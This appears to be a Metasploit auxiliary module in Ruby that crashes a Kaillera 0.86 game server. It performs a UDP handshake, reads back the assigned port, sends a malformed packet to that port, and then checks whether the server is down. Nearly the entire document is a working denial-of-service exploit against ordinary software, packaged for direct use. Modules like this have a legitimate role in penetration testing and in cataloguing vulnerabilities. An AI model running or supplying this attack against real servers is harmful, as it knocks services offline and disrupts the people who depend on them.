Kaillera 0.86 Server Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kaillera 0.86 Server Denial of Service' ,  
'Description' => %q{  
The Kaillera 0.86 server can be shut down by sending any malformed packet  
after the initial "hello" packet.  
},  
'Author' => ["Sil3nt_Dre4m"],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2011-07-02'))  
  
register_options([  
Opt::RPORT(27888)  
])  
end  
  
def run  
# Send HELLO to target  
connect_udp  
print_status("Sending Crash request...")  
udp_sock.put("HELLO0.83\0")  
res = udp_sock.recvfrom(15)  
disconnect_udp  
  
if res[0] =~ /HELLOD00D([0-9]{1,5})/  
port = $1  
else print_error("Connection failed")  
return  
end  
  
# Send DOS packet  
connect_udp(global = true,'RPORT' => port)  
print_status("Sending DoS packet to #{rhost}:#{port}...")  
udp_sock.put("Kthxbai")  
disconnect_udp  
  
# Check is target is down  
connect_udp  
print_status("Checking target...")  
udp_sock.put("HELLO0.83\0")  
res = udp_sock.recvfrom(15)  
disconnect_udp  
  
if res[0] =~ /HELLO/  
print_error("DoS attempt failed. It appears target is still up.")  
else  
print_good("Target is down")  
end  
end  
end  
`